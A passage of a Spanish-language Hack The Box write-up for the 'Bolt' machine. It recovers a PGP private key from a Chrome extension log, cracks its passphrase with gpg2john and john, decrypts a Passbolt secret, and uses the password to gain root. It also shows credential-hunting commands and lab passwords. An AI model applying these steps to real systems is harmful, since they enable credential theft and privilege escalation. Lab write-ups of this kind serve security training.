fjfUozTU9a0OLuiHUNeEjYIVdcaAR89lVBnYuoneAghZ7eaZuiLz+5gaYczk
[... snip ... ]
pmGRRi3bQP6jGo1uP/k9wye/WMD0DrQqxch4lqCDk1n7OFIYlCSBOHU0rE/1
tD0sGGFpQMsI+Q==
=+pbw
-----END PGP PUBLIC KEY BLOCK-----

[... snip ... ]

2 rows in set (0.00 sec)

mysql>

Finalmente en la tabla secrets encontramos un mensaje encriptado por el usuario Eddie.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
mysql> describe secrets;
+-------------+------------+------+-----+---------+-------+
| Field       | Type       | Null | Key | Default | Extra |
+-------------+------------+------+-----+---------+-------+
| id          | char(36)   | NO   | PRI | NULL    |       |
| user_id     | char(36)   | NO   | MUL | NULL    |       |
| resource_id | char(36)   | NO   | MUL | NULL    |       |
| data        | mediumtext | NO   |     | NULL    |       |
| created     | datetime   | NO   |     | NULL    |       |
| modified    | datetime   | NO   |     | NULL    |       |
+-------------+------------+------+-----+---------+-------+
6 rows in set (0.00 sec)

mysql> select user_id, data from secrets;
[... snip ... ]
| user_id                              | data
[... snip ... ]
| 4e184ee6-e436-47fb-91c9-dccb57f250bc | -----BEGIN PGP MESSAGE-----
Version: OpenPGP.js v4.10.9
Comment: https://openpgpjs.org

wcBMA/ZcqHmj13/kAQgAkS/2GvYLxglAIQpzFCydAPOj6QwdVV5BR17W5psc
g/ajGlQbkE6wgmpoV7HuyABUjgrNYwZGN7ak2Pkb+/3LZgtpV/PJCAD030kY
pCLSEEzPBiIGQ9VauHpATf8YZnwK1JwO/BQnpJUJV71YOon6PNV71T2zFr3H
oAFbR/wPyF6Lpkwy56u3A2A6lbDb3sRl/SVIj6xtXn+fICeHjvYEm2IrE4Px
l+DjN5Nf4aqxEheWzmJwcyYqTsZLMtw+rnBlLYOaGRaa8nWmcUlMrLYD218R
zyL8zZw0AEo6aOToteDPchiIMqjuExsqjG71CO1ohIIlnlK602+x7/8b7nQp
edLA7wF8tR9g8Tpy+ToQOozGKBy/auqOHO66vA1EKJkYSZzMXxnp45XA38+u
l0/OwtBNuNHreOIH090dHXx69IsyrYXt9dAbFhvbWr6eP/MIgh5I0RkYwGCt
oPeQehKMPkCzyQl6Ren4iKS+F+L207kwqZ+jP8uEn3nauCmm64pcvy/RZJp7
FUlT7Sc0hmZRIRQJ2U9vK2V63Yre0hfAj0f8F50cRR+v+BMLFNJVQ6Ck3Nov
8fG5otsEteRjkc58itOGQ38EsnH3sJ3WuDw8ifeR/+K72r39WiBEiE2WHVey
5nOF6WEnUOz0j0CKoFzQgri9YyK6CZ3519x3amBTgITmKPfgRsMy2OWU/7tY
NdLxO3vh2Eht7tqqpzJwW0CkniTLcfrzP++0cHgAKF2tkTQtLO6QOdpzIH5a
Iebmi/MVUAw3a9J+qeVvjdtvb2fKCSgEYY4ny992ov5nTKSH9Hi1ny2vrBhs
nO9/aqEQ+2tE60QFsa2dbAAn7QKk8VE2B05jBGSLa0H7xQxshwSQYnHaJCE6
TQtOIti4o2sKEAFQnf7RDgpWeugbn/vphihSA984
=P38i
-----END PGP MESSAGE-----
[... snip ... ]
1 row in set (0.00 sec)

mysql>

Intentamos desencriptar el mensaje utilizando la clave privada (serverkey_private.asc) de passbolt pero no es posible.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
-----BEGIN PGP MESSAGE-----
Version: OpenPGP.js v4.10.9
Comment: https://openpgpjs.org

wcBMA/ZcqHmj13/kAQgAkS/2GvYLxglAIQpzFCydAPOj6QwdVV5BR17W5psc
g/ajGlQbkE6wgmpoV7HuyABUjgrNYwZGN7ak2Pkb+/3LZgtpV/PJCAD030kY
pCLSEEzPBiIGQ9VauHpATf8YZnwK1JwO/BQnpJUJV71YOon6PNV71T2zFr3H
oAFbR/wPyF6Lpkwy56u3A2A6lbDb3sRl/SVIj6xtXn+fICeHjvYEm2IrE4Px
l+DjN5Nf4aqxEheWzmJwcyYqTsZLMtw+rnBlLYOaGRaa8nWmcUlMrLYD218R
zyL8zZw0AEo6aOToteDPchiIMqjuExsqjG71CO1ohIIlnlK602+x7/8b7nQp
edLA7wF8tR9g8Tpy+ToQOozGKBy/auqOHO66vA1EKJkYSZzMXxnp45XA38+u
l0/OwtBNuNHreOIH090dHXx69IsyrYXt9dAbFhvbWr6eP/MIgh5I0RkYwGCt
oPeQehKMPkCzyQl6Ren4iKS+F+L207kwqZ+jP8uEn3nauCmm64pcvy/RZJp7
FUlT7Sc0hmZRIRQJ2U9vK2V63Yre0hfAj0f8F50cRR+v+BMLFNJVQ6Ck3Nov
8fG5otsEteRjkc58itOGQ38EsnH3sJ3WuDw8ifeR/+K72r39WiBEiE2WHVey
5nOF6WEnUOz0j0CKoFzQgri9YyK6CZ3519x3amBTgITmKPfgRsMy2OWU/7tY
NdLxO3vh2Eht7tqqpzJwW0CkniTLcfrzP++0cHgAKF2tkTQtLO6QOdpzIH5a
Iebmi/MVUAw3a9J+qeVvjdtvb2fKCSgEYY4ny992ov5nTKSH9Hi1ny2vrBhs
nO9/aqEQ+2tE60QFsa2dbAAn7QKk8VE2B05jBGSLa0H7xQxshwSQYnHaJCE6
TQtOIti4o2sKEAFQnf7RDgpWeugbn/vphihSA984
=P38i
-----END PGP MESSAGE-----

Email

Enumerando un poco más, fuera de la carpeta principal, encontramos un correo enviado por Clark, en el que habla de una extension de navegador e indica que la clave privada de Eddie es la única forma de recuperar nuestra cuenta, refiriendose al mensaje encriptado.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
eddie@bolt:~$ cat /var/mail/eddie
From clark@bolt.htb  Thu Feb 25 14:20:19 2021
Return-Path: <clark@bolt.htb>
X-Original-To: eddie@bolt.htb
Delivered-To: eddie@bolt.htb
Received: by bolt.htb (Postfix, from userid 1001)
    id DFF264CD; Thu, 25 Feb 2021 14:20:19 -0700 (MST)
Subject: Important!
To: <eddie@bolt.htb>
X-Mailer: mail (GNU Mailutils 3.7)
Message-Id: <20210225212019.DFF264CD@bolt.htb>
Date: Thu, 25 Feb 2021 14:20:19 -0700 (MST)
From: Clark Griswold <clark@bolt.htb>

Hey Eddie,

The password management server is up and running. Go ahead and download the extension to your browser and get logged in.  
Be sure to back up your private key because I CANNOT recover it. Your private key is the only way to recover your account.
Once you're set up you can start importing your passwords. Please be sure to keep good security in mind - there's a few things I read about in a security whitepaper that are a little concerning...

-Clark

eddie@bolt:~$

Eddie no tiene ninguna clave registrada por lo que enumeramos la maquina en busqueda de claves privadas. Vemos que hay una coincidencia en el log de una extension de Google Chrome.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
eddie@bolt:~$ gpg --list-keys
eddie@bolt:~$
eddie@bolt:~$ grep --color=auto -rnw '/' -ie "PRIVATE KEY" --exclude \*.js --color=always 2> /dev/null
Binary file /opt/google/chrome/nacl_helper matches
Binary file /opt/google/chrome/chrome matches
Binary file /opt/google/chrome/locales/en-GB.pak matches
Binary file /opt/google/chrome/locales/en-US.pak matches
/home/eddie/.config/google-chrome/Default/Extensions/didegimhafipceonhjepacocaffmoppf/3.0.5_0/data/config-debug.html:150:                       <h3>Private key</h3>
Binary file /home/eddie/.config/google-chrome/Default/Local Extension Settings/didegimhafipceonhjepacocaffmoppf/000003.log matches
^C
eddie@bolt:~$

El archivo tiene mucho texto, copiamos el archivo a nuestra maquina donde vemos que existen dos claves privadas (son las mismas), utilizando sublime text eliminamos los caracteres inecesarios.

1
2
3
4
 π ~/htb/bolt ❯ scp eddie@10.10.11.114:"/home/eddie/.config/google-chrome/Default/Local\ Extension\ Settings/didegimhafipceonhjepacocaffmoppf/000003.log" . # rT2;jW7<eY8!dX8}pQ8%
eddie@10.10.11.114's password:
000003.log                                                100%   60KB  48.6KB/s   00:01
 π ~/htb/bolt ❯

La clave privada esta protegida por una frase.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
-----BEGIN PGP PRIVATE KEY BLOCK-----
Version: OpenPGP.js v4.10.9
Comment: https://openpgpjs.org

xcMGBGA4G2EBCADbpIGoMv+O5sxsbYX3ZhkuikEiIbDL8JRvLX/r1KlhWlTi
fjfUozTU9a0OLuiHUNeEjYIVdcaAR89lVBnYuoneAghZ7eaZuiLz+5gaYczk
cpRETcVDVVMZrLlW4zhA9OXfQY/d4/OXaAjsU9w+8ne0A5I0aygN2OPnEKhU
[... snip ...]
YZFGLdtA/qMajW4/+T3DJ79YwPQOtCrFyHiWoIOTWfs4UhiUJIE4dTSsT/W0
PSwYYWlAywj5
=cqxZ
-----END PGP PRIVATE KEY BLOCK-----

Cracking Hash

Utilizamos gpg2john para poder crackear el hash obtenido.

1
2
3
4
5
6
7
8
 π ~/htb/bolt ❯ gpg2john private_eddie

File private_eddie
Eddie Johnson:$gpg$*1*668*2048*2b518595f971db147efe739e2716523786988fb0ee243e5981659a314dfd0779dbba8e14e6649ba4e00cc515b9b4055a9783be133817763e161b9a8d2f2741aba80bceef6024465cba02af3bccd372297a90e078aa95579afbd60b6171cd82fd1b32a9dd016175c088e7bef9b883041eaffe933383434752686688f9d235f1d26c006a698dd6cc132d8acb94c4eceebf010845d69cd9e114873538712f2cd50c8b9ca3bcb9bbc3d83e32564f99031776ac986195e643880483ac80d3f7f1b9143563418ddea7bb71d114c4f24e41134dcdac4662e934d955aeccae92038dbed32f300ac5abed65960e26486c5da59f0d17b71ad9a8fe7a5e6bb77b8c31b68b56e7f4025f01d534be45ab36a7c0818febe23fa577ca346023feefa2bfef0899dd860e05a54d8b3e8bd430f40791a52a20067fde1861d977adf222725658a4661927d65b877cb8ac977601990cfbdb27413f5acc25ff1f691556bc8e5264cffaebbea7e7b9d73de6c719e0a7b004d331eaada86e812e3db60904eaf73a1b79c6e68e74beb6b71f6d644afbf591426418976d68c4e580cbc60b6fdd113f239ae2acd1e1dc51cb74b96b3c2f082bc0214886e1c3cebb3611311d9112d61194df22fb3ceb5783ee7d4a61b544886b389f638fc85d5139f64997014ec38ac59e65b842d92afb50184ccc3549a57dcdb3fc8720cc394912aed931007b53da1c635d302e840da2e6342803831891ab1ccc1669f3cc3240b8d31eded96696d7ad1525c4d277a4d3123abecafdbdde207714539c2e546cd45c4452051394e5d00e711fa5353f817be4fa6827aa0f1428dfb93a918e93975fb4baf3297aa3b7fec33470cf2741237a629b869a762684602057f3e3e6df9c97631caa7589dc4b26653162dfb2f2cf508cbe375496ba735830c2c00f151cdd50c522afe33dbe4265d2*3*254*8*9*16*b81f0847e01fb836c8cc7c8a2af31f19*16777216*34af9ef3956d5ad8:::Eddie Johnson <eddie@bolt.htb>::private_eddie
 π ~/htb/bolt ❯ gpg2john private_eddie > hash_eddite_private

File private_eddie
 π ~/htb/bolt ❯

Utilizando john y el wordlist rockyou.txt obtuvimos la frase para la clave privada.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
 π ~/htb/bolt ❯ john hash_eddite_private --wordlist=$ROCK
Using default input encoding: UTF-8
Loaded 1 password hash (gpg, OpenPGP / GnuPG Secret Key [32/64])
Cost 1 (s2k-count) is 16777216 for all loaded hashes
Cost 2 (hash algorithm [1:MD5 2:SHA1 3:RIPEMD160 8:SHA256 9:SHA384 10:SHA512 11:SHA224]) is 8 for all loaded hashes
Cost 3 (cipher algorithm [1:IDEA 2:3DES 3:CAST5 4:Blowfish 7:AES128 8:AES192 9:AES256 10:Twofish 11:Camellia128 12:Camellia192 13:Camellia256]) is 9 for all loaded hashes
Will run 4 OpenMP threads
merrychristmas   (Eddie Johnson)
1g 0:00:10:52 DONE (2021-09-29 17:37) 0.001532g/s 65.64p/s 65.64c/s 65.64C/s mhines..menudo
Use the "--show" option to display all of the cracked passwords reliably
Session completed
 π ~/htb/bolt ❯

Importamos la clave privada ingresando la frase previamente encontrada, finalmente desencriptamos el mensaje, este ultimo muestra una contraseña.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
 π ~/htb/bolt ❯ gpg --import private_eddie.gpg
gpg: /home/kali/.gnupg/trustdb.gpg: trustdb created
gpg: key 1C2741A3DC3B4ABD: public key "Eddie Johnson <eddie@bolt.htb>" imported

gpg: key 1C2741A3DC3B4ABD: secret key imported
gpg: Total number processed: 1
gpg:               imported: 1
gpg:       secret keys read: 1
gpg:   secret keys imported: 1
 π ~/htb/bolt ❯
 π ~/htb/bolt ❯ gpg --decrypt message.gpg
gpg: encrypted with 2048-bit RSA key, ID F65CA879A3D77FE4, created 2021-02-25
      "Eddie Johnson <eddie@bolt.htb>"
{"password":"Z(2rmxsNW(Z?3=p/9s","description":""}
gpg: Signature made Sat 06 Mar 2021 10:33:54 AM EST
gpg:                using RSA key 1C2741A3DC3B4ABD
gpg: Good signature from "Eddie Johnson <eddie@bolt.htb>" [unknown]
gpg: WARNING: This key is not certified with a trusted signature!
gpg:          There is no indication that the signature belongs to the owner.
Primary key fingerprint: DF42 6BC7 A4A8 AF58 E50E  DA0E 1C27 41A3 DC3B 4ABD
 π ~/htb/bolt ❯

Shell

Obtuvimos una shell como root tras utilizar la contraseña encontrada.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
eddie@bolt:~$ su
Password:
root@bolt:/home/eddie# whoami;id
root
uid=0(root) gid=0(root) groups=0(root)
root@bolt:/home/eddie# cd
root@bolt:~# ls
root.txt  snap
root@bolt:~# cat root.txt
2f385057198b2610fa64167d08a509b2
root@bolt:~#
Share on

Dany Sucuc
WRITTEN BY
sckull
RedTeamer & Pentester wannabe